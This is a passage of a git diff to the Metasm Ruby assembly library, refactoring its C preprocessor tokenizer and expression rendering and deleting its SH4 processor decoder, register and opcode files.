reach start of file, proceed + case @text[pos, 1] + when "\n" + pos -= 1 if pos > 0 and @text[pos-1] == ?\r + return tok if pos > 0 and @text[pos-1] == ?\\ # check if the newline was a line-continuation + return tok if pos > 2 and @text[pos-3, 3] == '??/' # trigraph + break # proceed + when /\s/ # beware switch order, this matches "\n" too + else return tok # false alarm + end + pos -= 1 + end pretok = [] rewind = true - state = 1 - loop do - pretok << (ntok = readtok_nopp) - break if not ntok + while ntok = readtok_nopp + pretok << ntok if ntok.type == :space # nothing - elsif state == 1 and ntok.type == :punct and ntok.raw == '#' and not ntok.expanded_from - state = 2 - elsif state == 2 and ntok.type == :string and not ntok.expanded_from + next + elsif ntok.type == :string and not ntok.expanded_from rewind = false if preprocessor_directive(ntok) - break - else break end + break end if rewind # false alarm: revert pretok.reverse_each { |t| unreadtok t } + else + # XXX return :eol ? + tok = readtok end - tok = readtok if lastpos == 0 # else return the :eol - elsif expand_macros and tok.type == :string and m = @definition[tok.raw] and not tok.expanded_from.to_a.find { |ef| ef.raw == m.name.raw } and + elsif tok.type == :string and m = @definition[tok.raw] and not tok.expanded_from.to_a.find { |ef| ef.raw == m.name.raw } and ((m.args and margs = Macro.parse_arglist(self)) or not m.args) if defined? @traced_macros and tok.backtrace[-2].to_s[0] == ?" and m.name and m.name.backtrace[-2].to_s[0] == ?< @@ -637,21 +649,20 @@ class Preprocessor when ?a..?z, ?A..?Z, ?0..?9, ?$, ?_ tok.type = :string raw = tok.raw << c - loop do - case c = getchar - when nil; ungetchar; break # avoids 'no method "coerce" for nil' warning + while c = getchar + case c when ?a..?z, ?A..?Z, ?0..?9, ?$, ?_ - raw << c - else ungetchar; break + else break end + raw << c end + ungetchar when ?\ , ?\t, ?\r, ?\n, ?\f tok.type = ((c == ?\ || c == ?\t) ? :space : :eol) raw = tok.raw << c - loop do - case c = getchar - when nil; break + while c = getchar + case c when ?\ , ?\t when ?\n, ?\f, ?\r; tok.type = :eol else break @@ -676,8 +687,7 @@ class Preprocessor tok.type = :space raw << c seenstar = false - loop do - raise tok, 'unterminated c++ comment' if not c = getchar + while c = getchar raw << c case c when ?*; seenstar = true @@ -685,6 +695,7 @@ class Preprocessor else seenstar = false end end + raise tok, 'unterminated c++ comment' if not c else # just a slash ungetchar @@ -704,59 +715,60 @@ class Preprocessor def readtok_nopp_str(tok, delimiter) tok.type = :quoted tok.raw << delimiter - tok.value = '' + tok.value = '' + tok.value.force_encoding('binary') if tok.value.respond_to?(:force_encoding) c = nil - loop do - raise tok, 'unterminated string' if not c = getchar + loop do + raise tok, 'unterminated string' if not c = getchar + tok.raw << c + case c + when delimiter; break + when ?\\ + raise tok, 'unterminated escape' if not c = getchar tok.raw << c + tok.value << \ case c - when delimiter; break - when ?\\ - raise tok, 'unterminated escape' if not c = getchar - tok.raw << c - tok.value << \ - case c - when ?n; ?\n - when ?r; ?\r - when ?t; ?\t - when ?a; ?\a - when ?b; ?\b - when ?v; ?\v - when ?f; ?\f - when ?e; ?\e - when ?#, ?\\, ?', ?"; c - when ?\n; '' # already handled by getchar - when ?x; - hex = '' - while hex.length < 2 - raise tok, 'unterminated escape' if not c = getchar - case c - when ?0..?9, ?a..?f, ?A..?F - else ungetchar; break - end - hex << c - tok.raw << c + when ?n; ?\n + when ?r; ?\r + when ?t; ?\t + when ?a; ?\a + when ?b; ?\b + when ?v; ?\v + when ?f; ?\f + when ?e; ?\e + when ?#, ?\\, ?', ?"; c + when ?\n; '' # already handled by getchar + when ?x; + hex = '' + while hex.length < 2 + raise tok, 'unterminated escape' if not c = getchar + case c + when ?0..?9, ?a..?f, ?A..?F + else ungetchar; break end - raise tok, 'unterminated escape' if hex.empty? - hex.hex - when ?0..?7; - oct = '' << c - while oct.length < 3 - raise tok, 'unterminated escape' if not c = getchar - case c - when ?0..?7 - else ungetchar; break - end - oct << c - tok.raw << c - end - oct.oct - else c # raise tok, 'unknown escape sequence' + hex << c + tok.raw << c end - when ?\n; ungetchar ; raise tok, 'unterminated string' - else tok.value << c + raise tok, 'unterminated escape' if hex.empty? + hex.hex + when ?0..?7; + oct = '' << c + while oct.length < 3 + raise tok, 'unterminated escape' if not c = getchar + case c + when ?0..?7 + else ungetchar; break + end + oct << c + tok.raw << c + end + oct.oct + else c # raise tok, 'unknown escape sequence' end + when ?\n; ungetchar ; raise tok, 'unterminated string' + else tok.value << c end + end tok end @@ -767,6 +779,9 @@ class Preprocessor def define(name, value=nil, from=caller.first) from =~ /^(.*?):(\d+)/ btfile, btlineno = $1, $2.to_i + if not @may_preprocess and @text =~ /#{Regexp.escape name}/ + @may_preprocess = true + end t = Token.new([btfile, btlineno]) t.type = :string t.raw = name.dup @@ -1095,7 +1110,7 @@ class Preprocessor nil while dir = readtok and dir.type == :space raise cmd, 'qstring expected' if not dir or dir.type != :quoted dir = ::File.expand_path dir.value - raise cmd, "invalid path #{dir}" if not ::File.directory? dir + raise cmd, "invalid path #{dir.inspect}" if not ::File.directory? dir @include_search_path.unshift dir when 'push_macro', 'pop_macro' diff --git a/lib/metasm/metasm/render.rb b/lib/metasm/metasm/render.rb index f60326435f..9c2fcb9b3f 100644 --- a/lib/metasm/metasm/render.rb +++ b/lib/metasm/metasm/render.rb @@ -19,8 +19,10 @@ module Renderable r = proc { |e| case e when Expression - yield e r[e.lexpr] ; r[e.rexpr] + yield e + when ExpressionType + yield e when Renderable e.render.each { |re| r[re] } end @@ -64,67 +66,41 @@ end class Expression include Renderable - attr_accessor :render_info - - # this is an accessor to @@render_int, the lambda used to render integers > 10 - # usage: Expression.render_int = lambda { |e| '0x%x' % e } - # or Expression.render_int { |e| '0x%x' % e } - # XXX the returned string should be suitable for inclusion in a label name etc - def self.render_int(&b) - if b - @@render_int = b - else - @@render_int - end - end - def self.render_int=(p) - @@render_int = p - end - @@render_int = nil def render_integer(e) - if render_info and @render_info[:char] - ee = e - v = [] - while ee > 0 - v << (ee & 0xff) - ee >>= 8 - end - v.reverse! if @render_info[:char] == :big - if not v.empty? and v.all? { |c| c < 0x7f } - # XXX endianness - return "'" + v.pack('C*').inspect.gsub("'") { '\\\'' }[1...-1] + "'" - end - end - if e < 0 - neg = true - e = -e - end - if e < 10; e = e.to_s - elsif @@render_int - e = @@render_int[e] - else - e = '%xh' % e - e = '0' << e unless (?0..?9).include? e[0] - end - e = '-' << e if neg - e + if e < 0 + neg = true + e = -e + end + if e < 10; e = e.to_s + else + e = '%xh' % e + e = '0' << e unless (?0..?9).include? e[0] + end + e = '-' << e if neg + e end NOSQ1 = NOSQ2 = {:* => [:*], :+ => [:+, :-, :*], :- => [:+, :-, :*]} NOSQ2[:-] = [:*] def render - l = @lexpr.kind_of?(Integer) ? render_integer(@lexpr) : @lexpr - r = @rexpr.kind_of?(Integer) ? render_integer(@rexpr) : @rexpr - l = ['(', l, ')'] if @lexpr.kind_of? Expression and (not oa = NOSQ1[@op] or not oa.include?(@lexpr.op)) - r = ['(', r, ')'] if @rexpr.kind_of? Expression and (not oa = NOSQ2[@op] or not oa.include?(@rexpr.op)) + l = @lexpr.kind_of?(::Integer) ? render_integer(@lexpr) : @lexpr + r = @rexpr.kind_of?(::Integer) ? render_integer(@rexpr) : @rexpr + l = ['(', l, ')'] if @lexpr.kind_of?(Expression) and (not oa = NOSQ1[@op] or not oa.include?(@lexpr.op)) + r = ['(', r, ')'] if @rexpr.kind_of?(Expression) and (not oa = NOSQ2[@op] or not oa.include?(@rexpr.op)) op = @op if l or @op != :+ if op == :+ r0 = [r].flatten.first r0 = r0.render.flatten.first while r0.kind_of? Renderable - op = nil if (r0.kind_of? Integer and r0 < 0) or (r0.kind_of? String and r0[0] == ?-) or r0 == :- + op = nil if (r0.kind_of?(::Integer) and r0 < 0) or (r0.kind_of?(::String) and r0[0] == ?-) or r0 == :- end [l, op, r].compact end end + +class ExpressionString + include Renderable + + def render; hide_str ? @expr.render : render_str ; end +end end diff --git a/lib/metasm/metasm/sh4.rb b/lib/metasm/metasm/sh4.rb deleted file mode 100644 index 70f7307189..0000000000 --- a/lib/metasm/metasm/sh4.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/sh4/decode' diff --git a/lib/metasm/metasm/sh4/decode.rb b/lib/metasm/metasm/sh4/decode.rb deleted file mode 100644 index 75f6196e68..0000000000 --- a/lib/metasm/metasm/sh4/decode.rb +++ /dev/null @@ -1,336 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/sh4/opcodes' -require 'metasm/decode' - -module Metasm -class Sh4 - def build_opcode_bin_mask(op) - op.bin_mask = 0 - op.args.each { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] - } - op.bin_mask ^= 0xffff - end - - def build_bin_lookaside - lookaside = (0..0xf).inject({}) { |h, i| h.update i => [] } - opcode_list.each { |op| - build_opcode_bin_mask op - lookaside[(op.bin >> 12) & 0xf] << op - } - lookaside - end - - # depending on transfert size mode (sz flag), fmov instructions manipulate single ou double precision values - # instruction aliasing appears when sz is not handled - def transfer_size_mode(list) - return list if list.find { |op| not op.name.include? 'mov' } - @transfersz == 0 ? list.find_all { |op| op.name.include? 'fmov.s' } : list.reject { |op| op.name.include? 'fmov.s' } - end - - # when pr flag is set, floating point instructions are executed as double-precision operations - # thus register pair is used (DRn registers) - def precision_mode(list) - @fpprecision == 0 ? list.reject { |op| op.args.include? :drn } : list.find_all { |op| op.args.include? :frn } - end - - def decode_findopcode(edata) - return if edata.ptr >= edata.data.length - - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u16, @endianness) - edata.ptr -= 2 - op = @bin_lookaside[(val >> 12) & 0xf].find_all { |opcode| (val & opcode.bin_mask) == opcode.bin } - - op = transfer_size_mode(op) if op.length == 2 - op = precision_mode(op) if op.length == 2 - - if op.length > 1 - puts "current value: #{Expression[val]}, ambiguous matches:", - op.map { |opcode| " #{opcode.name} - #{opcode.args.inspect} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" } - #raise "Sh4 - Internal error" - end - - if not op.empty? - di.opcode = op.first - di - end - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - di.opcode.props[:memsz] = (op.name =~ /\.l|mova/ ? 32 : (op.name =~ /\.w/ ? 16 : 8)) - val = edata.decode_imm(:u16, @endianness) - - field_val = lambda{ |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - when :@rm, :@rn ,:@_rm, :@_rn, :@rm_, :@rn_; GPR.new(r) - when :@disppc - # The effective address is formed by calculating PC+4, - # clearing the lowest 2 bits, and adding the zero-extended 8-bit immediate i - # multiplied by 4 (32-bit)/ 2 (16-bit) / 1 (8-bit). - curaddr = di.address+4 - curaddr = (curaddr & 0xffff_fffc) if di.opcode.props[:memsz] == 32 - curaddr+r*(di.opcode.props[:memsz]/8) - when :@disprm, :@dispr0rn; (r & 0xf) * (di.opcode.props[:memsz]/8) - when :@disprmrn; (r & 0xf) * 4 - when :@dispgbr; Expression.make_signed(r, 16) - when :disp8; di.address+4+2*Expression.make_signed(r, 8) - when :disp12; di.address+4+2*Expression.make_signed(r, 12) - when :s8; Expression.make_signed(r, 8) - else r - end - } - - op.args.each { |a| - di.instruction.args << case a - when :r0; GPR.new 0 - when :rm, :rn; GPR.new field_val[a] - when :rm_bank, :rn_bank; RBANK.new field_val[a] - when :drm, :drn; DR.new field_val[a] - when :frm, :frn; FR.new field_val[a] - when :xdm, :xdn; XDR.new field_val[a] - when :fvm, :fvn; FVR.new field_val[a] - when :vbr; VBR.new - when :gbr; GBR.new - when :sr; SR.new - when :ssr; SSR.new - when :spc; SPC.new - when :sgr; SGR.new - when :dbr; DBR.new - when :mach; MACH.new - when :macl; MACL.new - when :pr; PR.new - when :fpul; FPUL.new - when :fpscr; FPSCR.new - when :dbr; DBR.new - when :pc; PC.new - - when :@rm, :@rn, :@disppc - Memref.new(field_val[a], nil) - when :@_rm, :@_rn - Memref.new(field_val[a], nil, :pre) - when :@rm_, :@rn_ - Memref.new(field_val[a], nil, :post) - when :@r0rm - Memref.new(GPR.new(0), GPR.new(field_val[:rm])) - when :@r0rn, :@dispr0rn - Memref.new(GPR.new(0), GPR.new(field_val[:rn])) - when :@disprm - Memref.new(field_val[a], GPR.new(field_val[:rm])) - when :@disprmrn - Memref.new(field_val[a], GPR.new(field_val[:rn])) - - when :disppc; Expression[field_val[:@disppc]] - when :s8, :disp8, :disp12; Expression[field_val[a]] - when :i16, :i8, :i5; Expression[field_val[a]] - - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - di - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = {} - 15.times { |i| df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown } - df.backtracked_for = [BacktraceTrace.new(Expression[:pr], :default, Expression[:pr], :x)] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else [] - end - } - df - end - - # interprets a condition code (in an opcode name) as an expression - def decode_cmp_expr(di, a0, a1) - case di.opcode.name - when 'cmp/eq'; Expression[a0, :'==', a1] - when 'cmp/ge'; Expression[a0, :'>=', a1] # signed - when 'cmp/gt'; Expression[a0, :'>', a1] # signed - when 'cmp/hi'; Expression[a0, :'>', a1] # unsigned - when 'cmp/hs'; Expression[a0, :'>=', a1] # unsigned - end - end - - def decode_cmp_cst(di, a0) - case di.opcode.name - when 'cmp/pl'; Expression[a0, :'>', 0] # signed - when 'cmp/pz'; Expression[a0, :'>=', 0] # signed - end - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def opsz(di) - ret = @size - ret = 8 if di and di.opcode.name =~ /\.b/ - ret = 16 if di and di.opcode.name =~ /\.w/ - ret - end - - def init_backtrace_binding - @backtrace_binding ||= {} - - mask = lambda { |di| (1 << opsz(di)) - 1 } # 32bits => 0xffff_ffff - - opcode_list.map { |ol| ol.name }.uniq.each { |op| - @backtrace_binding[op] ||= case op - when 'ldc', 'ldc.l', 'lds', 'lds.l', 'stc', 'stc.l', 'mov', 'mov.l', 'sts', 'sts.l' - lambda { |di, a0, a1| { a1 => Expression[a0] }} - when 'stc.w', 'stc.b', 'mov.w', 'mov.b' - lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} - when 'movt'; lambda { |di, a0| { a0 => :t_bit }} - when 'exts.b', 'exts.w', 'extu.w' - lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} - when 'cmp/eq', 'cmp/ge', 'cmp/ge', 'cmp/gt', 'cmp/hi', 'cmp/hs' - lambda { |di, a0, a1| { :t_bit => decode_cmp_expr(di, a0, a1) }} - when 'cmp/pl', 'cmp/pz' - lambda { |di, a0| { :t_bit => decode_cmp_cst(di, a0) }} - when 'tst'; lambda { |di, a0, a1| { :t_bit => Expression[[a0, :&, mask[di]], :==, [a1, :&, mask[di]]] }} - when 'rte'; lambda { |di| { :pc => :spc , :sr => :ssr }} - when 'rts'; lambda { |di| { :pc => :pr }} - when 'sets'; lambda { |di| { :s_bit => 1 }} - when 'sett'; lambda { |di| { :t_bit => 1 }} - when 'clrs'; lambda { |di| { :s_bit => 0 }} - when 'clrt'; lambda { |di| { :t_bit => 0 }} - when 'clrmac'; lambda { |di| { :macl => 0, :mach => 0 }} - when 'jmp'; lambda { |di, a0| { :pc => a0 }} - when 'jsr'; lambda { |di, a0| { :pc => Expression[a0], :pr => Expression[di.address+2*2] }} - when 'dt'; lambda { |di, a0| - res = Expression[a0, :-, 1] - { :a0 => res, :t_bit => Expression[res, :==, 0] } - } - when 'add' ; lambda { |di, a0, a1| { a1 => Expression[a0, :+, a1] }} - when 'addc' ; lambda { |di, a0, a1| - res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]], :+, :t_bit]] - { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] } - } - when 'addv' ; lambda { |di, a0, a1| - res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]]]] - { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] } - } - when 'shll16', 'shll8', 'shll2', 'shll' ; lambda { |di, a0| - shift = { 'shll16' => 16, 'shll8' => 8, 'shll2' => 2, 'shll' => 1 }[op] - { a0 => Expression[[a0, :<<, shift], :&, 0xffff] } - } - when 'shlr16', 'shlr8', 'shlr2','shlr'; lambda { |di, a0| - shift = { 'shlr16' => 16, 'shlr8' => 8, 'shlr2' => 2, 'shlr' => 1 }[op] - { a0 => Expression[a0, :>>, shift] } - } - when 'rotcl'; lambda { |di, a0| { a0 => Expression[[a0, :<<, 1], :|, :t_bit], :t_bit => Expression[a0, :>>, [opsz[di], :-, 1]] }} - when 'rotcr'; lambda { |di, a0| { a0 => Expression[[a0, :>>, 1], :|, :t_bit], :t_bit => Expression[a0, :&, 1] }} - when 'rotl'; lambda { |di, a0| - shift_bit = [a0, :<<, [opsz[di], :-, 1]] - { a0 => Expression[[a0, :<<, 1], :|, shift_bit], :t_bit => shift_bit } - } - when 'rotr'; lambda { |di, a0| - shift_bit = [a0, :>>, [opsz[di], :-, 1]] - { a0 => Expression[[a0, :>>, 1], :|, shift_bit], :t_bit => shift_bit } - } - when 'shal'; lambda { |di, a0| - shift_bit = [a0, :<<, [opsz[di], :-, 1]] - { a0 => Expression[a0, :<<, 1], :t_bit => shift_bit } - } - when 'shar'; lambda { |di, a0| - shift_bit = Expression[a0, :&, 1] - { a0 => Expression[a0, :>>, 1], :t_bit => shift_bit } - } - when 'sub'; lambda { |di, a0, a1| { a1 => Expression[a0, :-, a1] }} - when 'subc'; lambda { |di, a0, a1| { a1 => Expression[a0, :-, [a1, :-, :t_bit]] }} - when 'and', 'and.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :&, mask[di]], :|, [[a1, :&, mask[di]]]] }} - when 'or', 'or.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :|, [[a1, :&, mask[di]]]] }} - when 'xor', 'xor.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :^, [[a1, :&, mask[di]]]] }} - when 'add', 'addc', 'addv'; lambda { |di, a0, a1| { a1 => Expression[a0, :+, a1] }} - when 'neg' ; lambda { |di, a0, a1| { a1 => Expression[mask[di], :-, a0] }} - when 'negc' ; lambda { |di, a0, a1| { a1 => Expression[[[mask[di], :-, a0], :-, :t_bit], :&, mask[di]] }} - when 'not'; lambda { |di, a0, a1| { a1 => Expression[a0, :^, mask[di]] }} - when 'nop'; lambda { {} } - when /^b/; lambda { {} } # branches - end - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when GPR, XFR, XDR, FVR, DR, FR, XMTRX; arg.symbolic - when MACH, MACL, PR, FPUL, PC, FPSCR; arg.symbolic - when SR, SSR, SPC, GBR, VBR, SGR, DBR; arg.symbolic - when Memref; arg.symbolic(di.address, di.opcode.props[:memsz]/8) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - bd = binding[di, *a] || {} - di.instruction.args.grep(Memref).each { |m| - if m.post - # TODO preincrement/postdecrement - bd.each { |k, v| bd[k] = v.bind(r => Expression[r, :+, 1]) } - bd[r] ||= Expression[r, :+, 1] - end - } if false - bd - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - {:incomplete_binding => Expression[1]} - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - val = case di.instruction.opname - when 'rts'; :pr - else di.instruction.args.last - end - - val = case val - when Reg; val.symbolic - when Memref; arg.symbolic(di.address, 4) - else val - end - - [Expression[val]] - end - - def backtrace_is_function_return(expr, di=nil) - expr.reduce_rec == :pr - end - - def delay_slot(di=nil) - (di and di.opcode.props[:delay_slot]) ? 1 : 0 - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression) - a - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/sh4/main.rb b/lib/metasm/metasm/sh4/main.rb deleted file mode 100644 index 861cae89e4..0000000000 --- a/lib/metasm/metasm/sh4/main.rb +++ /dev/null @@ -1,292 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/main' - -module Metasm - -class Sh4 < CPU - def initialize(e = :little, transfersz = 0, fpprecision = 0) - super() - @endianness = e - - # transfer size mode - # When SZ = 1 and big endian mode is selected, FMOV can - # be used for double-precision floating-point data load or - # store operations. In little endian mode, two 32-bit data size - # moves must be executed, with SZ = 0, to load or store a - # double-precision floating-point number. - transfersz = 0 if @endianness == :little - @transfersz = transfersz - - # PR = 0 : Floating point instructions are executed as single - # precision operations. - # PR = 1 : Floating point instructions are executed as double- - # precision operations (the result of instructions for - # which double-precision is not supported is undefined). - # Setting [transfersz = fpprecision = 1] is reserved. - # FPU operations are undefined in this mode. - @fpprecision = fpprecision - - @size = 32 - end - - class Reg - include Renderable - - def ==(o) - o.class == self.class and (not respond_to?(:i) or o.i == i) - end - end - - # general purpose reg - class GPR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..15).map { |i| "r#{i}".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["r#@i"] end - end - - class RBANK < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..7).map { |i| "r#{i}_bank".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["r#{@i}_bank"] end - end - - # floatting-point registers - class FR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..15).map { |i| "fr#{i}".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["fr#@i"] end - end - - # DR registers: double-precision floating-point registers - # DR0 = {FR0, FR1} - # DR2 = {FR2, FR3} - # DR4 = {FR4, FR5} - # DR6 = {FR6, FR7} - # DR8 = {FR8, FR9} - # DR10 = {FR10, FR11} - # DR12 = {FR12, FR13} - # DR14 = {FR14, FR15} - class DR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..7).map { |i| "dr#{i*2}".to_sym } - - def symbolic ; Sym[@i/2] end - - def render ; ["dr#@i"] end - end - - # Single-precision floating-point vector registers - # FV0 = {FR0, FR1, FR2, FR3} - # FV4 = {FR4, FR5, FR6, FR7}, - # FV8 = {FR8, FR9, FR10, FR11} - # FV12 = {FR12, FR13, FR14, FR15} - class FVR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..3).map { |i| "fv#{i*4}".to_sym } - - def symbolic ; Sym[@i/4] end - - def render ; ["fv#@i"] end - end - - # Single-precision floating-point extended registers - class XFR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..15).map { |i| "xf#{i}".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["xf#@i"] end - end - - # XD registers: single-precision floating-point vector registers - # XD0 = {XF0, XF1} - # XD2 = {XF2, XF3} - # XD4 = {XF4, XF5} - # XD6 = {XF6, XF7} - # XD8 = {XF8, XF9} - # XD10 = {XF10, XF11} - # XD12 = {XF12, XF13} - # XD14 = {XF14, XF15} - class XDR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..7).map { |i| "xd#{i*2}".to_sym } - - def symbolic ; Sym[@i/2] end - - def render ; ["xd#@i"] end - end - - # Single-precision floating-point extended register matrix - class XMTRX < Reg - def symbolic ; :xmtrx ; end - def render ; ['xmtrx'] ; end - end - - - # Multiply-and-accumulate register high - class MACH < Reg - - def symbolic ; :mach end - def render ; ['mach'] end - end - - # Multiply-and-accumulate register low - class MACL < Reg - - def symbolic ; :macl end - def render ; ['macl'] end - end - - # Procedure register - class PR < Reg - - def symbolic ; :pr end - def render ; ['pr'] end - end - - # Floating-point communication register - class FPUL < Reg - - def symbolic ; :fpul end - def render ; ['fpul'] end - end - - # Program counter - class PC < Reg - - def symbolic ; :pc end - def render ; ['pc'] end - end - - # Floating-point status/control register - class FPSCR < Reg - - def symbolic ; :fpscr end - def render ; ['fpscr'] end - end - - #----------------------- Control registers ----------------------------- - - # Status register - class SR < Reg - - def symbolic ; :sr end - def render ; ['sr'] end - end - - # Saved status register - class SSR < Reg - - def symbolic ; :ssr end - def render ; ['ssr'] end - end - - # Saved program counter - class SPC < Reg - - def symbolic ; :spc end - def render ; ['spc'] end - end - - # Global base register - class GBR < Reg - - def symbolic ; :spc end - def render ; ['gbr'] end - end - - # Vector base register - class VBR < Reg - - def symbolic ; :spc end - def render ; ['vbr'] end - end - - # Saved general register - class SGR < Reg - - def symbolic ; :sgr end - def render ; ['sgr'] end - end - - # Debug base register - class DBR < Reg - - def symbolic ; :dbr end - def render ; ['dbr'] end - end - - class Memref - # action: pre/post (inc/dec)rement - attr_accessor :base, :disp, :action - - def initialize(base, offset, action = nil) - base = Expression[base] if base.kind_of? Integer - @base, @disp, @action = base, offset, action - end - - def symbolic(orig=nil, sz=32) - b = @base - b = b.symbolic if b.kind_of? Reg - - if disp - o = @disp - o = o.symbolic if o.kind_of? Reg - e = Expression[b, :+, o].reduce - else - e = Expression[b].reduce - end - - Indirection[e, sz, orig] - end - - include Renderable - - def render - if @disp - ['@(', @base, ',', @disp, ')'] - else - case @action - when :pre then ['@-', @base] - when :post then ['@', @base, '+'] - else ['@', @base] - end - end - end - - end - - def init_opcode_list - init - end - -end -end diff --git a/lib/metasm/metasm/sh4/opcodes.rb b/lib/metasm/metasm/sh4/opcodes.rb deleted file mode 100644 index 8cc248a1b6..0000000000 --- a/lib/metasm/metasm/sh4/opcodes.rb +++ /dev/null @@ -1,381 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/sh4/main' - -module Metasm -class Sh4 - def addop(name, bin, *args) - o = Opcode.new name, bin - - o.args.concat(args & @fields_mask.keys) - (args & @valid_props).each { |p| o.props[p] = true } - - (args & @fields_mask.keys).each { |f| - o.fields[f] = [@fields_mask[f], @fields_shift[f]] - } - - @opcode_list << o - end - - def init - @opcode_list = [] - - # :@rm_ is used for @Rm+ - # :@_rn is used for @-Rn - # :@r0rm is used for @(R0, Rm) (same for r0rn) - # :@r0gbr is used for @(R0, GBR) - @fields_mask = { - :rm => 0xf, :rn => 0xf, - :@rm => 0xf, :@rn => 0xf, - :@rm_ => 0xf, :@rn_ => 0xf, - :@_rn => 0xf, - - :frm => 0xf, :frn => 0xf, - :xdm => 0x7, :xdn => 0x7, - :drm => 0x7, :drn => 0x7, - :fvm => 0x3, :fvn => 0x3, - - :@r0rm => 0xf, :@r0rn => 0xf, - :rm_bank => 0x7, :rn_bank => 0x7, - - :@disprm => 0xff, :@dispr0rn => 0xff, :@disprmrn => 0xf0f, - :@dispgbr => 0xff, :@disppc => 0xff, - :disp8 => 0xff, :disp12 => 0xfff, :disppc => 0xff, - - :i8 => 0xff, # zero-extendded 8-bit immediate - :s8 => 0xff, # 8-bit displacement s is sign-extended, doubled and added to PC+4 - } - - @fields_shift = { - :rm => 4, :rn => 8, - :@rm => 4, :@rn => 8, - :@rm_ => 4, :@rn_ => 8, - :@_rn => 8, - - :frm => 4, :frn => 8, - :xdm => 5, :xdn => 9, - :drm => 5, :drn => 9, - :fvm => 8, :fvn => 10, - - :@r0rm => 4, :@r0rn => 8, - :rm_bank => 7, :rn_bank => 4, - - :@disprm => 0, :@dispr0rn => 0, :@disprmrn => 0, - :@dispgbr => 0, :@disppc => 0, - :disp8 => 0, :disp12 => 0, :disppc => 0, - - :i8 => 0, - :s8 => 0, - } - - # implicit operands - [:vbr, :gbr, :sr, :ssr, :spc, :sgr, :dbr, :mach, :macl, :pr, :fpul, :fpscr, :dbr, :pc, :r0].each { |a| @fields_mask[a] = @fields_shift[a] = 0 } - - @valid_props = [:setip, :saveip, :stopexec , :delay_slot] - - addop 'add', 0b0011 << 12 | 0b1100, :rm, :rn - addop 'add', 0b0111 << 12, :s8, :rn - addop 'addc', 0b0011 << 12 | 0b1110, :rm, :rn - addop 'addv', 0b0011 << 12 | 0b1111, :rm, :rn - - addop 'and', 0b0010 << 12 | 0b1001, :rm, :rn - addop 'and', 0b11001001 << 8, :i8, :r0 - addop 'and.b', 0b11001101 << 8, :i8, :@r0gbr - - addop 'bf', 0b10001011 << 8, :disp8, :setip - addop 'bf/s', 0b10001111 << 8, :disp8, :setip, :delay_slot - addop 'bra', 0b1010 << 12, :disp12, :setip, :stopexec, :delay_slot - addop 'braf', 0b0000 << 12 | 0b00100011, :rn, :setip, :stopexec, :delay_slot - addop 'brk', 0b0000000000111011, :stopexec # causes a pre-execution BREAK exception - addop 'bsr', 0b1011 << 12, :disp12, :setip, :saveip, :stopexec, :delay_slot - addop 'bsrf', 0b0000 << 12 | 0b00000011, :rn, :setip, :saveip, :stopexec, :delay_slot - addop 'bt', 0b10001001 << 8, :disp8, :setip - addop 'bt/s', 0b10001101 << 8, :disp8, :setip, :delay_slot - - addop 'clrmac', 0b0000000000101000 - addop 'clrs', 0b0000000001001000 - addop 'clrt', 0b0000000000001000 - - addop 'cmp/eq', 0b0011 << 12 | 0b0000, :rm, :rn - addop 